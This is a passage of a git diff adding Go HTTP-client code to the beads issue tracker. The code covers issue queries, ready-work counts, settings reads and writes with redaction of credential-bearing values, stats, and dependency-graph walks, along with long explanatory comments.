if err != nil { + return nil, err + } + issue.RowVersion = version + found = append(found, &issue) + } + return found, nil +} + +// walkDescendants is D4's hierarchical shape: paged listIssues?parent=. +// +// The CLI asks each level for every descendant (Limit=0 per level), and +// unlimited maps to PAGING TO EXHAUSTION rather than to the wire's `limit=0`, +// which a non-loopback server refuses outright. The recursion itself belongs to +// the caller — findAllDescendants re-parents the filter at every level — so +// this answers one level. +func (s *Store) walkDescendants(ctx context.Context, plan encode.SearchPlan) ([]*types.Issue, error) { + // Not projected: a descendant walk hands its rows back as whole issues, and + // a caller of the hierarchy has no way to learn a body was withheld. + rows, err := s.fetchIssuePages(ctx, plan.Params, false, 0, 0, "", nil) + if err != nil { + return nil, err + } + out := make([]*types.Issue, 0, len(rows)) + for _, row := range rows { + if row != nil && row.Issue != nil { + out = append(out, row.Issue) + } + } + return out, nil +} + +// ErrSettingRedacted reports a setting whose value the server withheld because +// its KEY marks it credential-bearing. +var ErrSettingRedacted = errors.New("bd serve withholds this setting's value") + +// RedactedSettingError is ledger row L9 made answerable: the value is absent +// with a reason, rather than absent as an empty string. +// +// Returning "" would be a dropped read dressed as an unset key, and the two are +// not the same answer — one says the workspace stores nothing, the other says +// the workspace stores something this client may not see. +type RedactedSettingError struct { + Key string + ServerURL string +} + +func (e *RedactedSettingError) Error() string { + return fmt.Sprintf("bd serve at %s withholds %q: the key marks it credential-bearing, "+ + "so its value is not served to a client", e.ServerURL, e.Key) +} + +func (e *RedactedSettingError) Unwrap() error { return ErrSettingRedacted } + +// GetConfig serves getSetting. D11's prefix probes — `issue_prefix` and +// `allowed_prefixes` — ride it, and they are flat legacy keys present in the +// settings enumeration, so nothing about them is special-cased here. +// +// A key nothing stored and a key stored empty are ONE answer on this operation, +// exactly as they are on the local store: the wire omits the value in both +// cases and this returns ("", nil), which is what every caller of GetConfig +// already treats as "unset". The one answer that is NOT "" is a redacted key, +// where a value may well exist and is withheld (L9). +func (s *Store) GetConfig(ctx context.Context, key string) (string, error) { + path, err := wire.SettingPath(key) + if err != nil { + return "", err + } + var setting apigen.Setting + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpGetSetting, + Method: http.MethodGet, + Path: path, + }, &setting); err != nil { + return "", err + } + if setting.Redacted { + return "", &RedactedSettingError{Key: key, ServerURL: s.target.String()} + } + if setting.Value == nil { + return "", nil + } + return *setting.Value, nil +} diff --git a/internal/httpclient/role_querier.go b/internal/httpclient/role_querier.go new file mode 100644 index 000000000..0129a99f1 --- /dev/null +++ b/internal/httpclient/role_querier.go @@ -0,0 +1,76 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/role_querier.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpQuerier is issueops.Querier over queryIssues (design D8 row 5). +// +// The expression is not parsed here and must not be: parsing, the predicate +// decision and the scan bound all live inside the server's role, which is what +// stops this client from shipping the truncating window both front doors used +// to apply. Five parameters go out and a page comes back. +// +// It is post-baseline, so the dispatch pre-flights: an older server that does +// not route this path answers a bare 404 that is indistinguishable from an +// entity's not_found, and consulting the advertised `issues.query` token before +// dialing is the only way to tell "this server is too old" from "nothing +// matched". +type httpQuerier struct{ store *Store } + +func (q httpQuerier) Query(ctx context.Context, req issueops.QueryRequest) (issueops.IssuePage, error) { + if err := validateQueryOffset(req); err != nil { + return issueops.IssuePage{}, err + } + params, err := encode.QueryParams(req) + if err != nil { + return issueops.IssuePage{}, q.store.inexpressible("Querier.Query", err) + } + var body apigen.QueryPage + if err := q.store.dispatch(ctx, wire.Request{ + Op: wire.OpQueryIssues, + Method: http.MethodGet, + Path: wire.PathIssuesQuery, + Query: params, + }, &body); err != nil { + return issueops.IssuePage{}, err + } + // NEVER projected: issueops.QueryRequest has no Brief member, so this role + // cannot ask for one and its rows are always whole. The `false` is the + // compiler asking the question rather than a value to tune — if the query + // vocabulary ever grows the projection, this is the line that has to move + // with it. + return issueops.IssuePage{Items: wireRows(body.Items, false), HasMore: body.HasMore}, nil +} + +// validateQueryOffset answers the two Offset refusals the ROLE owns, ahead of +// the one the WIRE owns. +// +// The distinction is the whole reason this function exists. A negative Offset, +// and an Offset combined with a display order, are ErrValidation at EVERY +// backend — the leaf says so in as many words, because under a page bound each +// page is sorted for itself and a walk with an offset would neither visit every +// row nor visit any row once. Those are the caller's request being wrong, and a +// caller must not be told to upgrade a server over them. Only what is left — +// a plain positive Offset — is this backend's own inability, and the encoder +// refuses that one with *ErrUnsupported (E-QueryRequest.Offset). +func validateQueryOffset(req issueops.QueryRequest) error { + switch { + case req.Offset < 0: + return fmt.Errorf("%w: offset %d is negative", issueops.ErrValidation, req.Offset) + case req.Offset > 0 && req.SortBy != "": + return fmt.Errorf("%w: an offset cannot be combined with a display order (sort %q): "+ + "the order is applied to the rows the query bounded, so each page would be sorted for itself", + issueops.ErrValidation, req.SortBy) + } + return nil +} diff --git a/internal/httpclient/role_reader.go b/internal/httpclient/role_reader.go new file mode 100644 index 000000000..8d3333ab5 --- /dev/null +++ b/internal/httpclient/role_reader.go @@ -0,0 +1,131 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/role_reader.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// httpReader is issueops.Reader over the v0 wire (design D8 row 1): Ready is +// listReadyWork, List is listIssues, Get is getIssue. +// +// It builds no filter and applies no default. Both request types are handed to +// the encoder whole, and the SERVER runs the same two workapi builders a local +// command would — against its own authoritative vocabulary, which is what heals +// L7's degraded client-side status/type set for every query that goes through +// here. What stays on this side is the part the wire genuinely cannot carry: +// the display order, the caller-supplied keyset position and the MaxRows cap, +// all three of them ledgered client-side in the encoder table and all three +// implemented in list_walk.go. +type httpReader struct{ store *Store } + +// Ready serves listReadyWork. +// +// One request, no paging: the operation publishes no cursor, so `limit` and the +// server's own has_more ARE the page contract. An Offset is refused by the +// encoder rather than dropped — ready work carries no keyset position, so there +// is no honest way to page it (E-ReadyRequest.Offset). +func (r httpReader) Ready(ctx context.Context, req issueops.ReadyRequest) (issueops.IssuePage, error) { + params, err := encode.ReadyParams(req) + if err != nil { + return issueops.IssuePage{}, r.store.inexpressible("Reader.Ready", err) + } + var body apigen.ReadyPage + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpListReadyWork, + Method: http.MethodGet, + Path: wire.PathReady, + Query: params, + }, &body); err != nil { + return issueops.IssuePage{}, err + } + return issueops.IssuePage{Items: wireRows(body.Items, req.Brief), HasMore: body.HasMore}, nil +} + +// List serves listIssues, through the pager in list_walk.go. +func (r httpReader) List(ctx context.Context, req issueops.ListRequest) (issueops.IssuePage, error) { + params, err := encode.ListParams(req) + if err != nil { + return issueops.IssuePage{}, r.store.inexpressible("Reader.List", err) + } + return r.store.walkIssues(ctx, params, req) +} + +// Get serves getIssue, including the two landed include parameters that retired +// ledger row L4. +// +// A 404 arrives as the `not_found` problem code, which the wire's problem +// mapper has already turned into issueops.ErrNotFound — the same sentinel a +// local miss answers with — so the role's "a miss is ErrNotFound, a backend +// failure passes through unchanged" promise holds without a single decision +// here. The nil detail view on any error is the other half of it. +func (r httpReader) Get(ctx context.Context, req issueops.GetRequest) (*issueops.IssueDetails, error) { + id, params := encode.GetTarget(req) + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + var details types.IssueDetails + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + Query: params, + IssueID: id, + }, &details); err != nil { + return nil, err + } + // Issue.RowVersion is json:"-"; the wire's only spelling of the token is + // Revision (the decimal string getIssue publishes), so a bare decode + // leaves RowVersion at its zero value on every read — a guarded write + // built off this result would carry a token the row never held, same as + // bd-enterprise's (*Store).GetIssue bridge below and the write + // responses parseRevision already stitches this way. + version, err := parseRevision("getIssue", details.Revision) + if err != nil { + return nil, err + } + details.Issue.RowVersion = version + return &details, nil +} + +// wireRows lifts a wire page onto the pointer slice the role's page carries, +// and stamps the projection marker the wire cannot carry. +// +// The element type is an ALIAS of types.IssueWithCounts — the same struct the +// server projects onto and the same one `bd list --json` marshals — so this +// takes an address and copies nothing under the header. The result is never +// nil: an empty page is an empty slice on every surface, and a caller must not +// have to tell null from empty to learn that nothing matched. +// +// brief IS A PARAMETER RATHER THAN A FIELD ON ANYTHING, so every page decode on +// this client has to answer the question. types.Issue.IsLitePartial is +// `json:"-"` — it never crosses — and a `brief` page therefore arrives +// byte-identical to a page of genuinely textless rows. The only thing that can +// tell them apart is having ASKED, which is what issueops.ListRequest.Brief's +// own leaf says a wire consumer distinguishes them by, and this client is the +// consumer that asked. A call site that could forget it would be a page whose +// rows lie about being whole; making it an argument means the compiler asks. +// +// IT IS NEVER STAMPED ON A HYDRATED READ. The marker means "the heavy columns +// were not selected", so setting it on a full page would send a caller to +// refetch a body it already has — the same defect as the missing stamp, pointed +// the other way. +func wireRows(items []apigen.IssueWithCounts, brief bool) []*types.IssueWithCounts { + out := make([]*types.IssueWithCounts, 0, len(items)) + for i := range items { + row := &items[i] + if brief && row.Issue != nil { + row.IsLitePartial = true + } + out = append(out, row) + } + return out +} diff --git a/internal/httpclient/role_readycounter.go b/internal/httpclient/role_readycounter.go new file mode 100644 index 000000000..b42ac7777 --- /dev/null +++ b/internal/httpclient/role_readycounter.go @@ -0,0 +1,70 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/role_readycounter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpReadyCounter is issueops.ReadyCounter over countReadyWork (design D8 +// row 2). It is what serves `bd ready`'s "showing 2 of 5". +// +// The request it sends is the LISTING's request with the page taken off, which +// is what makes the answer the size of the page Reader.Ready would return: the +// encoder's ready-count table shares one filter list with the listing's, so a +// parameter one of them sent and the other did not cannot exist. +type httpReadyCounter struct{ store *Store } + +func (c httpReadyCounter) CountReady(ctx context.Context, req issueops.ReadyRequest) (issueops.ReadyCountResult, error) { + if err := validateCountReadyPage(req); err != nil { + return issueops.ReadyCountResult{}, err + } + params, err := encode.ReadyCountParams(req) + if err != nil { + return issueops.ReadyCountResult{}, c.store.inexpressible("ReadyCounter.CountReady", err) + } + var body apigen.ReadyCount + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpCountReadyWork, + Method: http.MethodGet, + Path: wire.PathReadyCount, + Query: params, + }, &body); err != nil { + return issueops.ReadyCountResult{}, err + } + return issueops.ReadyCountResult{Total: body.Total}, nil +} + +// validateCountReadyPage answers the role's own page refusals before the +// encoder can answer them as wire refusals. +// +// A Limit and an Offset are ErrValidation on THIS ROLE at every backend, and +// for a reason that has nothing to do with the wire: a cardinality has no page. +// A Limit would answer "how many of the first N", which the identity with +// Reader.Ready(Limit=0) would then stop being true of, and an Offset would +// subtract the rows it skipped from the size of a set that still contains them. +// An explicit zero Limit is refused with the rest — an unlimited count is the +// only kind there is, so asking for one is asking for the default. +// +// The encoder refuses both fields too (E-ReadyRequest.Limit@countReadyWork, +// E-ReadyRequest.Offset), and that row is not redundant: it is what keeps the +// field from being silently dropped if this check were ever removed. What it +// cannot do is tell a caller their REQUEST is wrong rather than their server. +func validateCountReadyPage(req issueops.ReadyRequest) error { + switch { + case req.Limit != nil: + return fmt.Errorf("%w: a ready count takes no limit (%d): a cardinality has no page, "+ + "and a bounded count would not agree with the listing it sizes", issueops.ErrValidation, *req.Limit) + case req.Offset != 0: + return fmt.Errorf("%w: a ready count takes no offset (%d): it would subtract the rows it skipped "+ + "from the size of a set that still contains them", issueops.ErrValidation, req.Offset) + } + return nil +} diff --git a/internal/httpclient/roles_aux.go b/internal/httpclient/roles_aux.go new file mode 100644 index 000000000..213224d12 --- /dev/null +++ b/internal/httpclient/roles_aux.go @@ -0,0 +1,314 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/roles_aux.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "net/url" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The aggregate and workspace-state roles: StatsReporter whole, and +// WorkspaceConfig whole (design D8 rows 6 and 11). +// +// D8 ROW 11 IS NO LONGER PARTIAL. The row's per-METHOD refusal — an accessor +// that refused would have taken the reads down with the writes, and the reads +// are what `bd config get`, the routing probe and the id resolver's prefix +// lookups run on — was the posture for as long as v0 published no config write. +// Upstream #5596 published both verbs, client wave ga-jpywb dials them, and the +// role now answers every method it declares. What the split bought while it +// lasted is still worth knowing: a per-method refusal puts the method's own name +// in the sentinel, which is what RunUnsupportedContract and the D7 choke point +// both read, so the next partial role should be spelled the same way. +// +// The MEMORY plane is not here: its role is served whole — reads and writes — +// by memories.go, and a read-only twin alongside it would be a second answer to +// the same accessor. + +// httpStatsReporter serves both summaries from getStats. +type httpStatsReporter struct{ store *Store } + +// Stats answers the workspace-wide summary. +// +// SkipBlocked travels as the hint it is. The server forwards it to its own role, +// which may or may not take it, and the answer says which by whether +// BlockedIssues is populated — so this client neither promises the saving nor +// reports one, and reads the outcome off the same member every other caller +// does. +func (r httpStatsReporter) Stats(ctx context.Context, req issueops.StatsRequest) (issueops.StatsResult, error) { + q := url.Values{} + if req.SkipBlocked { + q.Set("skip_blocked", "true") + } + return r.dial(ctx, q) +} + +// AssigneeStats answers one actor's summary. +// +// The actor is used AS WRITTEN — no trimming, no folding, no alias expansion — +// on this side and on the server's. +func (r httpStatsReporter) AssigneeStats(ctx context.Context, req issueops.AssigneeStatsRequest) (issueops.StatsResult, error) { + if strings.TrimSpace(req.Assignee) == "" { + // The one refusal made here rather than dialed. An empty assignee would + // be sent as an ABSENT parameter, which is the workspace-wide question — + // a different answer, not an error — so the request has to be refused + // before it becomes one. + return issueops.StatsResult{}, fmt.Errorf("%w: an assignee must not be empty; the workspace-wide summary is Stats", issueops.ErrValidation) + } + q := url.Values{} + q.Set("assignee", req.Assignee) + return r.dial(ctx, q) +} + +func (r httpStatsReporter) dial(ctx context.Context, q url.Values) (issueops.StatsResult, error) { + var body apigen.StatsResponse + if err := r.store.dispatch(ctx, wire.Request{ + Op: wire.OpGetStats, + Method: http.MethodGet, + Path: wire.PathStats, + Query: q, + }, &body); err != nil { + return issueops.StatsResult{}, err + } + return issueops.StatsResult{Summary: body.Summary}, nil +} + +// httpWorkspaceConfig serves the read half of the settings role. +type httpWorkspaceConfig struct{ store *Store } + +// GetSetting reads one stored setting. +// +// It goes through the raw GetConfig rather than dialing again, so this backend +// gives ONE answer per key. That matters for the redacted case: a withheld value +// is not the same fact as an unset one, and GetConfig reports it as +// RedactedSettingError — L9's "absent WITH REASON" — where returning "" would +// tell a caller the workspace stores nothing there. An unset key and a key +// stored empty stay conflated, which is the role contract's own rule. +func (c httpWorkspaceConfig) GetSetting(ctx context.Context, req issueops.GetSettingRequest) (issueops.SettingResult, error) { + if strings.TrimSpace(req.Key) == "" { + // Refused here because the operation carries the key in the PATH: an + // empty segment would join to the collection and turn a read of one + // setting into a read of all of them. + return issueops.SettingResult{}, fmt.Errorf("%w: a setting key must not be empty", issueops.ErrValidation) + } + value, err := c.store.GetConfig(ctx, req.Key) + if err != nil { + return issueops.SettingResult{}, err + } + return issueops.SettingResult{Key: req.Key, Value: value}, nil +} + +// ListSettings reads every stored setting. +// +// Redacted keys are PRESENT with an empty value, and this is the one place the +// withholding cannot be reported as an error: an enumeration that failed because +// one key of forty is credential-bearing would take the whole listing down. +// Omitting them instead would say the workspace stores nothing under that key, +// which is false and is the reading a caller enumerating configuration acts on — +// so the key is listed and its value is the empty string GetSetting refuses to +// pretend is real. +func (c httpWorkspaceConfig) ListSettings(ctx context.Context, _ issueops.ListSettingsRequest) (issueops.ListSettingsResult, error) { + var body apigen.SettingsPage + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpListSettings, + Method: http.MethodGet, + Path: wire.PathSettings, + }, &body); err != nil { + return issueops.ListSettingsResult{}, err + } + settings := make(map[string]string, len(body.Items)) + for _, item := range body.Items { + settings[item.Key] = settingValue(item) + } + return issueops.ListSettingsResult{Settings: settings}, nil +} + +// SetSetting stores one setting, on PUT /v0/beads/config/{key}. +// +// THE KEY IS THE PATH AND THE VALUE IS THE WHOLE BODY, which is what makes this +// the smallest write on the surface: one member out, one row back. There is no +// actor and no guard, because this plane records no history entry to attribute a +// write on and holds no row version to compare — so a write here is neither +// attributable nor conditional on ANY backend, and the wire is not narrowing +// anything by omitting them. +// +// IT IS NOT IDEMPOTENT-SHORT-CIRCUITED and must not become so. Storing the value +// already there still performs the write and its projection: the role's own +// contract says a no-op detection would make the repair of a normalized table +// that had drifted from its row depend on the row having changed, which is +// precisely the state that needs repairing. Nothing here compares first, and +// there is no `changed` member on the answer to compare against — the response +// to the second PUT is byte-identical to the first, which is the shape a PUT +// should have and is deliberately NOT the `already_claimed` / `already_closed` +// shape three other writes on this surface carry. +func (c httpWorkspaceConfig) SetSetting(ctx context.Context, req issueops.SetSettingRequest) (issueops.SetSettingResult, error) { + if err := validateSettingWrite(req.Key, req.Value); err != nil { + return issueops.SetSettingResult{}, err + } + path, err := wire.SettingPath(req.Key) + if err != nil { + return issueops.SetSettingResult{}, invalid("%v", err) + } + var body apigen.Setting + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpSetSetting, + Method: http.MethodPut, + Path: path, + Body: apigen.SetSettingRequest{Value: req.Value}, + }, &body); err != nil { + return issueops.SetSettingResult{}, err + } + return issueops.SetSettingResult{Key: body.Key, Value: storedSettingValue(req.Value, body)}, nil +} + +// UnsetSetting removes one setting, on DELETE /v0/beads/config/{key}. +// +// REMOVING A KEY NOTHING SET SUCCEEDS, twice over: the role states an intended +// END STATE rather than an act performed, and the wire agrees — there is no 404 +// on this operation at all, which is the one place it diverges from the memory +// delete beside it. So a caller clearing configuration it is not sure was ever +// written classifies no error to learn it was already absent. +// +// THE PROTECTED KEY IS NOT REFUSED HERE, unlike on the write above, and the +// asymmetry is shipped behavior on every implementation rather than something +// this client introduces (bd-yby99.34). Restating it as a refusal would make +// this leg stricter than the contract it implements, which is the one direction +// a client-side rule must never take. +func (c httpWorkspaceConfig) UnsetSetting(ctx context.Context, req issueops.UnsetSettingRequest) (issueops.UnsetSettingResult, error) { + if err := validateSettingKey(req.Key); err != nil { + return issueops.UnsetSettingResult{}, err + } + path, err := wire.SettingPath(req.Key) + if err != nil { + return issueops.UnsetSettingResult{}, invalid("%v", err) + } + var body apigen.RemovedSetting + if err := c.store.dispatch(ctx, wire.Request{ + Op: wire.OpUnsetSetting, + Method: http.MethodDelete, + Path: path, + }, &body); err != nil { + return issueops.UnsetSettingResult{}, err + } + return issueops.UnsetSettingResult{Key: body.Key}, nil +} + +// validateSettingKey is the rule a key a caller READS or REMOVES has to meet, +// and it is the only rule at that end: a key has to name something. +// +// It is the client-side twin of internal/workapi.ValidateSettingKey, redeclared +// rather than imported for releaser.go's reason — depguard denies +// internal/workapi to this package — and pinned against it by +// TestSettingWriteValidationMatchesTheSharedValidator, from a test file where +// the rule does not apply. +// +// IT IS ALSO PATH SAFETY, which is why it could not have been left to the +// server even if the role did not state it: the key is one PATH SEGMENT, so an +// empty one would join to the collection and turn a write of one setting into a +// request against all of them. +func validateSettingKey(key string) error { + if strings.TrimSpace(key) == "" { + return invalid("config key must not be empty") + } + return nil +} + +// validateSettingWrite is the role's own write rules, restated: the key rule +// above, the protected key, and the one value whose shape is checked because it +// is PROJECTED rather than merely stored. +// +// ALL THREE ARE THE ROLE'S AND NOT THE SERVER'S, which is the line this function +// draws and the reason it stops where it does. The server applies its own EDGE +// bounds on top — a key past 255 characters on the write (but not on the +// remove), a value past types.MaxTextBytes BYTES, a media type — and this client +// restates none of them: those are one server release away from moving, and a +// second copy here would either drift or refuse a request a newer server would +// take. They travel as the 400 the mapper turns into the same ErrValidation, and +// the difference that makes to a local leg is ledgered (L-config-bounds). +// +// The three below cannot travel that way for the reason every restated role rule +// on this seam cannot: a request the role's own contract calls invalid must not +// spend a round trip to be told so, and must not bind its classification to a +// problem body a future server release might spell differently. +func validateSettingWrite(key, value string) error { + if err := validateSettingKey(key); err != nil { + return err + } + // The prefix is owned by `bd init --prefix`, `bd bootstrap` and + // `bd rename-prefix`, each of which does work this plane cannot: rewriting + // existing ids, or seeding a workspace that has none. Storing a new one here + // would leave the beads created before the write and the beads created after + // it disagreeing about their own namespace, with nothing to reconcile them. + // BOTH SPELLINGS refuse, and the dashed one for a different reason than the + // underscored: nothing reads it, so writing it would report success and be + // unobservable. + if key == issueops.SettingKeyIssuePrefix || key == settingKeyIssuePrefixDashed { + return invalid("%q is set by bd init --prefix, bd bootstrap or bd rename-prefix, not by a config write: "+ + "storing it here would leave existing ids under the old prefix with nothing to reconcile them", key) + } + // status.custom is PROJECTED into custom_statuses, which reads consult + // first, so a value that cannot be projected must not become a row. The + // parse belongs to the ROLE — every leg refuses it — rather than to a front + // door, because a value one door accepted and another refused would be half + // applied by whichever wrote first. + if key == issueops.SettingKeyStatusCustom && value != "" { + if _, err := types.ParseCustomStatusConfig(value); err != nil { + return invalid("invalid %s value: %v", key, err) + } + } + return nil +} + +// settingKeyIssuePrefixDashed is the second spelling of the protected key. The +// role names only the underscored one as a constant and spells this one inline; +// it is named here so the refusal and the test that pins it read one string. +const settingKeyIssuePrefixDashed = "issue-prefix" + +// storedSettingValue is what the workspace now holds, read off the answer. +// +// THE PROJECTION IS TRANSCRIBED RATHER THAN INTERPRETED. The response to a write +// is byte-identical to the read that follows it — one `wireSetting` serves both +// — so a stored value comes back on the same optional member, absent for the +// same three facts, and this reads it with the same helper the reads use. +// +// A REDACTED KEY IS THE ONE PLACE THE PROJECTION CANNOT ANSWER, and the fallback +// is the request rather than a guess. The operation PERMITS writing a +// credential-bearing key — refusing would leave a workspace's credentials +// visible as present and permanently unconfigurable through this door — and then +// withholds the value from its own answer, exactly as the read withholds it. So +// `value` is absent on a write that certainly stored something, and reporting "" +// would tell a caller the plane holds nothing there: the write-side spelling of +// the confusion RedactedSettingError exists to prevent on the read side (L9). +// +// Answering with the value the caller SENT is not an interpretation of what +// redaction hid. It is the operation's own promise, stated on the request member: +// the stored value equals the value sent for every key this plane accepts, +// because the one stored key with a normalization step is `issue_prefix` and +// that is the one key the role refuses. There is no third option — the result +// type carries no "withheld" spelling, and erroring on a write that LANDED would +// be a worse answer than either. +func storedSettingValue(sent string, body apigen.Setting) string { + if body.Redacted { + return sent + } + return settingValue(body) +} + +// settingValue reads the wire's optional value. +// +// The member is absent for three different facts — nothing stored, the empty +// string stored, and a credential withheld — and `redacted` separates only the +// third. All three are "" to this role by its own contract; see GetSetting. +func settingValue(s apigen.Setting) string { + if s.Value == nil { + return "" + } + return *s.Value +} diff --git a/internal/httpclient/roles_graph.go b/internal/httpclient/roles_graph.go new file mode 100644 index 000000000..4cd3a85e5 --- /dev/null +++ b/internal/httpclient/roles_graph.go @@ -0,0 +1,472 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/roles_graph.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "net/url" + "strconv" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The four dependency-graph read roles, served from their v0 operations +// (design D8 rows 7-10). +// +// Each one is a thin projection, and that is a property of the wire rather than +// of the code: every response component on this surface is a Go TYPE ALIAS of +// the canonical struct the role returns (internal/httpapi/pinning.go asserts it +// by ASSIGNMENT, which a structurally-identical twin could not satisfy). So +// there is no field mapping to get wrong here, and deliberately none written — +// a hand-rolled converter would be a second copy of a contract the server +// already pins. +// +// What IS this layer's work is the contract each role's doc comment states and +// the wire does not restate: never-nil collections, the caller's request left +// alone, and the defensive caps the wire publishes no parameter for. +// +// They dispatch GENERICALLY, through the store's one door. A read role differs +// from its neighbors only in the parameters the encoder produced and the +// envelope it decodes, so an operation-shaped transport method per role would +// be a dozen spellings of one round trip — see the WireClient doc for why the +// two halves of that seam are shaped differently. + +// httpCycleDetector serves DetectCycles from listDependencyCycles. +type httpCycleDetector struct{ store *Store } + +// DetectCycles reports every cycle in the blocking graph. +// +// The request carries nothing (beyond IncludeTracks, refused below) and the +// operation publishes nothing, which is the same statement from both ends: a +// cycle is a property of the whole graph and there is no predicate that +// narrows it. +// +// req.IncludeTracks is refused rather than silently ignored: listDependencyCycles +// (wire.OpListDependencyCycles) has no include_tracks parameter at all, so +// honoring it would mean quietly answering the DEFAULT (narrower) walk to a +// caller who explicitly asked for the wider one that also follows `tracks` +// edges. This is the same typed, ledger-cited refusal CountEdges' own bound +// raises below (refuse/encode.RefusedError, not a bare error) — see +// "L-cycles-tracks" and engdocs/design/http-divergence-ledger.md. +func (d httpCycleDetector) DetectCycles(ctx context.Context, req issueops.DetectCyclesRequest) (result issueops.CycleReport, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = d.store.inexpressible("CycleDetector.DetectCycles", err) }() + if req.IncludeTracks { + return issueops.CycleReport{}, refuse(encode.OpListDependencyCycles, "L-cycles-tracks") + } + var body apigen.CyclesPage + if err := d.store.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencyCycles, + Method: http.MethodGet, + Path: wire.PathDependenciesCycles, + }, &body); err != nil { + return issueops.CycleReport{}, err + } + // Empty rather than nil on an acyclic graph: the role promises a caller can + // range over the answer, and the count of cycles is the length of this + // slice with nothing omitted. + cycles := body.Items + if cycles == nil { + cycles = []issueops.Cycle{} + } + return issueops.CycleReport{Cycles: cycles}, nil +} + +// httpTreeWalker serves WalkTree from getDependencyTree. +type httpTreeWalker struct{ store *Store } + +// WalkTree walks the graph from one root. +// +// TWO REQUEST MEMBERS ARE HONORED HERE RATHER THAN DROPPED. MaxDepth and +// Direction have parameters and travel; MaxRows does not, and it is the one +// member of this request whose contract says every implementation honors it — +// so the cap is enforced against the answer, where the role documents the check +// happening (after the walk and after the prune) and with the sentinel `bd` +// already classifies into exit 2. +// +// max_depth is sent ALWAYS, including the zero and the negative the role +// refuses. The operation defaults an ABSENT max_depth to fifty levels while the +// role makes the bound required, so omitting the caller's value would answer a +// fifty-level walk to a request that asked for none — a wider answer reached by +// dropping a bound, which is the one thing this client may never do. +// +// The validation refusals stay the SERVER's. An empty root, a direction outside +// the closed set and a depth below one are refusals the operation makes for +// itself and maps back to issueops.ErrValidation, so re-making them here would +// be a second copy of a rule that answers differently the day the vocabulary +// grows. +func (w httpTreeWalker) WalkTree(ctx context.Context, req issueops.WalkTreeRequest) (issueops.TreeResult, error) { + q := url.Values{} + q.Set("root_id", req.RootID) + q.Set("max_depth", strconv.Itoa(req.MaxDepth)) + if req.Direction != "" { + q.Set("direction", string(req.Direction)) + } + if req.Status != "" { + q.Set("status", string(req.Status)) + } + + var body apigen.DependencyTreePage + if err := w.store.dispatch(ctx, wire.Request{ + Op: wire.OpGetDependencyTree, + Method: http.MethodGet, + Path: wire.PathDependenciesTree, + Query: q, + IssueID: req.RootID, + }, &body); err != nil { + return issueops.TreeResult{}, err + } + + nodes := make([]*issueops.TreeNode, 0, len(body.Items)) + for i := range body.Items { + nodes = append(nodes, &body.Items[i]) + } + if req.MaxRows > 0 && len(nodes) > req.MaxRows { + // The count is EXACT rather than the storage layer's cap+1 probe: the + // walk answers whole, so there is no cheaper bound to report and no + // reason to report a vaguer one. The answer is withheld entirely, which + // is what the role's own contract says a cap violation returns. + return issueops.TreeResult{}, &storageops.ErrTooManyRows{ + Found: len(nodes), + Cap: req.MaxRows, + Source: req.MaxRowsSource, + } + } + return issueops.TreeResult{Nodes: nodes}, nil +} + +// httpEdgeReader serves ReadEdges from listDependencies. +type httpEdgeReader struct{ store *Store } + +// ReadEdges reads the stored edges of one anchored set of ids. +// +// The wire answers with the edges FLATTENED across anchors plus the ids that +// named nothing; the role answers per anchor, in the order the request first +// named each id. Regrouping is this method's whole job, and it walks the +// CALLER's id list rather than the response — an anchor with no edges appears in +// neither `items` nor `missing`, so a grouping driven by the response alone +// would silently lose it. +// +// AN EMPTY REQUEST IS ANSWERED WITHOUT A DIAL. The operation requires at least +// one anchor and would refuse, but the role documents an empty request as a +// success with no anchors — so refusing would be this backend inventing an error +// the contract says does not exist. +func (r httpEdgeReader) ReadEdges(ctx context.Context, req issueops.EdgeReadRequest) (issueops.EdgeReadResult, error) { + if err := validateAnchors(req.IDs); err != nil { + return issueops.EdgeReadResult{}, err + } + ids := distinct(req.IDs) + if len(ids) == 0 { + return issueops.EdgeReadResult{Anchors: []issueops.AnchorEdges{}}, nil + } + + q := url.Values{} + for _, id := range ids { + q.Add("issue_id", id) + } + // Repeated rather than comma-joined: 